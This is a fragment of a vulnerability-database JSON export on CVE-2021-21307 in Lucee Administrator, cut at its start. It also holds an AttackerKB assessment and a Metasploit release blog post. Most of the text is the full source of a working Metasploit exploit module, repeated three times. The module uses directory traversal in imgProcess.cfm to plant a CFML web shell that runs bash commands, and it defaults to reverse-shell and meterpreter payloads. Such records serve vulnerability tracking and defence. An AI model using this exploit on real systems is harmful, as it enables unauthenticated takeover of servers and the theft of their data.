{"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307"], "modified": "2021-08-17T00:00:00", "id": "PACKETSTORM:163864", "href": "https://packetstormsecurity.com/files/163864/Lucee-Administrator-imgProcess.cfm-Arbitrary-File-Write.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write', \n'Description' => %q{ \nThis module exploits an arbitrary file write in Lucee Administrator's \nimgProcess.cfm file to execute commands as the Tomcat user. \n}, \n'Author' => [ \n'rootxharsh', # Discovery and PoC \n'iamnoooob', # Discovery and PoC \n'wvu' # Exploit \n], \n'References' => [ \n['CVE', '2021-21307'], \n['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'], \n['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'], \n['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md'] \n], \n'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], # TODO: Windows? \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => false, # Tomcat user \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_bash' \n} \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper, \n'DefaultOptions' => { \n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'RPORT' => 8888 \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [ \n# /opt/lucee/server/lucee-server/context/logs/application.log \n# /opt/lucee/web/logs/exception.log \nIOC_IN_LOGS, \n# /opt/lucee/web/temp/admin-ext-thumbnails/__/ \n# /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm \nARTIFACTS_ON_DISK \n] \n} \n) \n) \n \nregister_options([ \nOptString.new('TARGETURI', [true, 'Base path', '/lucee']) \n]) \n \nregister_advanced_options([ \nOptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5]) \n]) \nend \n \ndef check \n# NOTE: This doesn't actually write a file \nres = write_file(rand_text_alphanumeric(8..16), nil) \n \nreturn CheckCode::Unknown unless res \n \nunless res.code == 500 && res.body.include?(\"key [IMGSRC] doesn't exist\") \nreturn CheckCode::Safe \nend \n \nCheckCode::Appears('Lucee Administrator imgProcess.cfm detected.') \nend \n \ndef exploit \nprint_status(\"Writing CFML stub: #{full_uri(cfml_uri)}\") \n \nunless write_cfml_stub \nfail_with(Failure::NotVulnerable, 'Failed to write CFML stub') \nend \n \nprint_status(\"Executing #{payload_instance.refname} (#{target.name})\") \n \ncase target['Type'] \nwhen :unix_cmd \nexecute_command(payload.encoded) \nwhen :linux_dropper \nexecute_cmdstager \nend \nend \n \ndef write_cfml_stub \n# XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/ \nres = write_file('/.', '') \n \n# Leak directory traversal base path from 500 response \nunless res&.code == 500 && %r{file \\[(?<base_path>.*?/__/)\\.\\]} =~ res.body \nreturn false \nend \n \nregister_dir_for_cleanup(base_path) \n \ncfml_path = \"/../../../context/#{cfml_filename}\" \n \nres = write_file(cfml_path, cfml_stub) \n \nreturn false unless res&.code == 200 \n \nregister_file_for_cleanup(normalize_uri(base_path, cfml_path)) \n \ntrue \nend \n \ndef execute_command(cmd, _opts = {}) \nvprint_status(cmd) \n \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => cfml_uri, \n'vars_post' => { \ncfml_param => cmd \n} \n}, datastore['CmdExecTimeout']) \n \nreturn unless res \n \nfail_with(Failure::PayloadFailed, cmd) unless res.code == 200 \n \nvprint_line(res.body) \nend \n \ndef write_file(name, contents) \nopts = { \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm') \n} \n \nopts['vars_get'] = { 'file' => name } if name \nopts['vars_post'] = { 'imgSrc' => contents } if contents \n \nsend_request_cgi(opts) \nend \n \ndef cfml_stub \n# https://cfdocs.org/cfscript \n# https://cfdocs.org/cfexecute \n<<~CFML.gsub(/^\\s+/, '').tr(\"\\n\", '') \n<cfscript> \ncfexecute(name=\"/bin/bash\", arguments=[\"-c\", \"#form.#{cfml_param}#\"]); \n</cfscript> \nCFML \nend \n \ndef cfml_uri \nnormalize_uri(target_uri.path, cfml_filename) \nend \n \ndef cfml_param \n@cfml_param ||= rand_text_alphanumeric(8..16) \nend \n \ndef cfml_filename \n@cfml_filename ||= \"#{rand_text_alphanumeric(8..16)}.cfm\" \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/163864/lucee_admin_imgprocess_file_write.rb.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2022-06-24T08:37:58", "description": "This module exploits an arbitrary file write in Lucee Administrator's imgProcess.cfm file to execute commands as the Tomcat user.\n", "cvss3": {}, "published": "2021-08-16T15:09:34", "type": "metasploit", "title": "Lucee Administrator imgProcess.cfm Arbitrary File Write", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-21307"], "modified": "2021-08-16T15:09:34", "id": "MSF:EXPLOIT-LINUX-HTTP-LUCEE_ADMIN_IMGPROCESS_FILE_WRITE-", "href": "https://www.rapid7.com/db/modules/exploit/linux/http/lucee_admin_imgprocess_file_write/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',\n 'Description' => %q{\n This module exploits an arbitrary file write in Lucee Administrator's\n imgProcess.cfm file to execute commands as the Tomcat user.\n },\n 'Author' => [\n 'rootxharsh', # Discovery and PoC\n 'iamnoooob', # Discovery and PoC\n 'wvu' # Exploit\n ],\n 'References' => [\n ['CVE', '2021-21307'],\n ['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],\n ['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'],\n ['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']\n ],\n 'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'], # TODO: Windows?\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => false, # Tomcat user\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_bash'\n }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 8888\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [\n # /opt/lucee/server/lucee-server/context/logs/application.log\n # /opt/lucee/web/logs/exception.log\n IOC_IN_LOGS,\n # /opt/lucee/web/temp/admin-ext-thumbnails/__/\n # /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm\n ARTIFACTS_ON_DISK\n ]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/lucee'])\n ])\n\n register_advanced_options([\n OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])\n ])\n end\n\n def check\n # NOTE: This doesn't actually write a file\n res = write_file(rand_text_alphanumeric(8..16), nil)\n\n return CheckCode::Unknown unless res\n\n unless res.code == 500 && res.body.include?(\"key [IMGSRC] doesn't exist\")\n return CheckCode::Safe\n end\n\n CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')\n end\n\n def exploit\n print_status(\"Writing CFML stub: #{full_uri(cfml_uri)}\")\n\n unless write_cfml_stub\n fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')\n end\n\n print_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def write_cfml_stub\n # XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/\n res = write_file('/.', '')\n\n # Leak directory traversal base path from 500 response\n unless res&.code == 500 && %r{file \\[(?<base_path>.*?/__/)\\.\\]} =~ res.body\n return false\n end\n\n register_dir_for_cleanup(base_path)\n\n cfml_path = \"/../../../context/#{cfml_filename}\"\n\n res = write_file(cfml_path, cfml_stub)\n\n return false unless res&.code == 200\n\n register_file_for_cleanup(normalize_uri(base_path, cfml_path))\n\n true\n end\n\n def execute_command(cmd, _opts = {})\n vprint_status(cmd)\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => cfml_uri,\n 'vars_post' => {\n cfml_param => cmd\n }\n }, datastore['CmdExecTimeout'])\n\n return unless res\n\n fail_with(Failure::PayloadFailed, cmd) unless res.code == 200\n\n vprint_line(res.body)\n end\n\n def write_file(name, contents)\n opts = {\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')\n }\n\n opts['vars_get'] = { 'file' => name } if name\n opts['vars_post'] = { 'imgSrc' => contents } if contents\n\n send_request_cgi(opts)\n end\n\n def cfml_stub\n # https://cfdocs.org/cfscript\n # https://cfdocs.org/cfexecute\n <<~CFML.gsub(/^\\s+/, '').tr(\"\\n\", '')\n <cfscript>\n cfexecute(name=\"/bin/bash\", arguments=[\"-c\", \"#form.#{cfml_param}#\"]);\n </cfscript>\n CFML\n end\n\n def cfml_uri\n normalize_uri(target_uri.path, cfml_filename)\n end\n\n def cfml_param\n @cfml_param ||= rand_text_alphanumeric(8..16)\n end\n\n def cfml_filename\n @cfml_filename ||= \"#{rand_text_alphanumeric(8..16)}.cfm\"\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/lucee_admin_imgprocess_file_write.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "attackerkb": [{"lastseen": "2022-04-20T02:38:09", "description": "Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 there is an unauthenticated remote code exploit. This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, one can block access to the Lucee Administrator.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at October 11, 2021 12:42pm UTC reported:\n\nThis is another of those products I hadn\u2019t ever heard of before we started hearing about compromises. There\u2019s a Metasploit module available here, hence the relatively high exploitability rating: <https://github.com/rapid7/metasploit-framework/pull/15525>\n\nMitigation is to lock down admin access, sensibly: <https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-11T00:00:00", "type": "attackerkb", "title": "CVE-2021-21307", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307"], "modified": "2021-02-23T00:00:00", "id": "AKB:F5AFC420-0B89-47F3-B0B5-53E402B6F49D", "href": "https://attackerkb.com/topics/16OOl6KSdo/cve-2021-21307", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2021-12-27T13:19:37", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-18T00:00:00", "type": "zdt", "title": "Lucee Administrator imgProcess.cfm Arbitrary File Write Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307"], "modified": "2021-08-18T00:00:00", "id": "1337DAY-ID-36659", "href": "https://0day.today/exploit/description/36659", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',\n 'Description' => %q{\n This module exploits an arbitrary file write in Lucee Administrator's\n imgProcess.cfm file to execute commands as the Tomcat user.\n },\n 'Author' => [\n 'rootxharsh', # Discovery and PoC\n 'iamnoooob', # Discovery and PoC\n 'wvu' # Exploit\n ],\n 'References' => [\n ['CVE', '2021-21307'],\n ['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],\n ['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'],\n ['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']\n ],\n 'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'], # TODO: Windows?\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => false, # Tomcat user\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_bash'\n }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 8888\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [\n # /opt/lucee/server/lucee-server/context/logs/application.log\n # /opt/lucee/web/logs/exception.log\n IOC_IN_LOGS,\n # /opt/lucee/web/temp/admin-ext-thumbnails/__/\n # /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm\n ARTIFACTS_ON_DISK\n ]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/lucee'])\n ])\n\n register_advanced_options([\n OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])\n ])\n end\n\n def check\n # NOTE: This doesn't actually write a file\n res = write_file(rand_text_alphanumeric(8..16), nil)\n\n return CheckCode::Unknown unless res\n\n unless res.code == 500 && res.body.include?(\"key [IMGSRC] doesn't exist\")\n return CheckCode::Safe\n end\n\n CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')\n end\n\n def exploit\n print_status(\"Writing CFML stub: #{full_uri(cfml_uri)}\")\n\n unless write_cfml_stub\n fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')\n end\n\n print_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def write_cfml_stub\n # XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/\n res = write_file('/.', '')\n\n # Leak directory traversal base path from 500 response\n unless res&.code == 500 && %r{file \\[(?<base_path>.*?/__/)\\.\\]} =~ res.body\n return false\n end\n\n register_dir_for_cleanup(base_path)\n\n cfml_path = \"/../../../context/#{cfml_filename}\"\n\n res = write_file(cfml_path, cfml_stub)\n\n return false unless res&.code == 200\n\n register_file_for_cleanup(normalize_uri(base_path, cfml_path))\n\n true\n end\n\n def execute_command(cmd, _opts = {})\n vprint_status(cmd)\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => cfml_uri,\n 'vars_post' => {\n cfml_param => cmd\n }\n }, datastore['CmdExecTimeout'])\n\n return unless res\n\n fail_with(Failure::PayloadFailed, cmd) unless res.code == 200\n\n vprint_line(res.body)\n end\n\n def write_file(name, contents)\n opts = {\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')\n }\n\n opts['vars_get'] = { 'file' => name } if name\n opts['vars_post'] = { 'imgSrc' => contents } if contents\n\n send_request_cgi(opts)\n end\n\n def cfml_stub\n # https://cfdocs.org/cfscript\n # https://cfdocs.org/cfexecute\n <<~CFML.gsub(/^\\s+/, '').tr(\"\\n\", '')\n <cfscript>\n cfexecute(name=\"/bin/bash\", arguments=[\"-c\", \"#form.#{cfml_param}#\"]);\n </cfscript>\n CFML\n end\n\n def cfml_uri\n normalize_uri(target_uri.path, cfml_filename)\n end\n\n def cfml_param\n @cfml_param ||= rand_text_alphanumeric(8..16)\n end\n\n def cfml_filename\n @cfml_filename ||= \"#{rand_text_alphanumeric(8..16)}.cfm\"\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/36659", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2021-08-20T20:19:12", "description": "## Anyone enjoy making chains?\n\n\n\nThe community is hard at work building chains to pull sessions out of vulnerable Exchange servers. This week Rapid7's own [wvu](<https://github.com/wvu-r7>) & [Spencer McIntyre](<https://github.com/zeroSteiner>) added a module that implements the ProxyShell exploit chain originally demonstrated by [Orange Tsai](<https://twitter.com/orange_8361>). The module also benefited from research and analysis by [Jang](<https://twitter.com/testanull>), [PeterJson](<https://twitter.com/peterjson>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>) to make it as simple as finding an email for an administrator of vulnerable version of exchange as the entrypoint to chain [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>), [CVE-2021-34523](<https://attackerkb.com/topics/RY7LpTmyCj/cve-2021-34523?referrer=blog>), & [CVE-2021-34473](<https://attackerkb.com/topics/pUK1MXLZkW/cve-2021-34473?referrer=blog>) into sessions for everyone to enjoy.\n\n## Great to see some GSoC value in the wild.\n\nWith Google Summer of Code 2021 moving into its final phases, [pingport80](<https://github.com/pingport80>) had 4 PRs land in this week's release. These improvements and fixes to interactions with sessions make post exploitation tasks more accessible, bringing the community more capabilities and stability along the way.\n\n## New module content (2)\n\n * [Lucee Administrator imgProcess.cfm Arbitrary File Write](<https://github.com/rapid7/metasploit-framework/pull/15525>) by [wvu](<https://github.com/wvu-r7>),, [iamnoooob](<https://github.com/iamnoooob>), and [rootxharsh](<https://github.com/rootxharsh>), which exploits [CVE-2021-21307](<https://attackerkb.com/topics/16OOl6KSdo/cve-2021-21307?referrer=blog>) \\- An unauthenticated user is permitted to make requests through the `imgProcess.cfm` endpoint, and using the `file` parameter which contains a directory traversal vulnerability, they can write a file to an arbitrary location. Combining the two capabilities, this module writes a CFML script to the vulnerable server and achieves unauthenticated code execution as the user running the Lucee server.\n * [Microsoft Exchange ProxyShell RCE](<https://github.com/rapid7/metasploit-framework/pull/15561>) by [wvu](<https://github.com/wvu-r7>), [Jang](<https://twitter.com/testanull>), [Orange Tsai](<https://twitter.com/orange_8361>), [PeterJson](<https://twitter.com/peterjson>), [Spencer McIntyre](<https://github.com/zeroSteiner>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>), which exploits [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>) \\- Added an exploit for the ProxyShell attack chain against Microsoft Exchange Server.\n\n## Enhancements and features\n\n * [#15540](<https://github.com/rapid7/metasploit-framework/pull/15540>) from [dwelch-r7](<https://github.com/dwelch-r7>) \\- This adds an option to `cmd_execute` to have the command run in a subshell by Meterpreter.\n * [#15556](<https://github.com/rapid7/metasploit-framework/pull/15556>) from [pingport80](<https://github.com/pingport80>) \\- This adds shell session compatibility to the `post/windows/gather/enum_unattend` module.\n * [#15564](<https://github.com/rapid7/metasploit-framework/pull/15564>) from [pingport80](<https://github.com/pingport80>) \\- This adds support to the `get_env` and `command_exists?` post API methods for Powershell session types.\n\n## Bugs fixed\n\n * [#15303](<https://github.com/rapid7/metasploit-framework/pull/15303>) from [pingport80](<https://github.com/pingport80>) \\- This PR ensures that the shell `dir` command returns a list.\n * [#15332](<https://github.com/rapid7/metasploit-framework/pull/15332>) from [pingport80](<https://github.com/pingport80>) \\- This improves localization support and compatibly in the session post API related to the `rename_file` method.\n * [#15539](<https://github.com/rapid7/metasploit-framework/pull/15539>) from [tomadimitrie](<https://github.com/tomadimitrie>) \\- This improves the OS version in the `check` method of `exploit/windows/local/cve_2018_8453_win32k_priv_esc`.\n * [#15546](<https://github.com/rapid7/metasploit-framework/pull/15546>) from [timwr](<https://github.com/timwr>) \\- This ensures that the UUID URLs of stageless reverse_http(s) payloads are stored in the database so that they can be properly tracked with payload UUID tracking. This also fixes an error caused by accessing contents of a url list without checking if it's valid first.\n * [#15570](<https://github.com/rapid7/metasploit-framework/pull/15570>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a bug in the `auxiliary/scanner/smb/smb_enum_gpp` module where the path that was being generated by the module caused an SMB exception to be raised.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-08-12T17%3A57%3A38%2B01%3A00..2021-08-20T05%3A13%3A43-05%3A00%22>)\n * [Full diff 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/compare/6.1.0...6.1.1>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. To install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T19:12:00", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T19:12:00", "id": "RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16", "href": "https://blog.rapid7.com/2021/08/20/metasploit-wrap-up-126/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}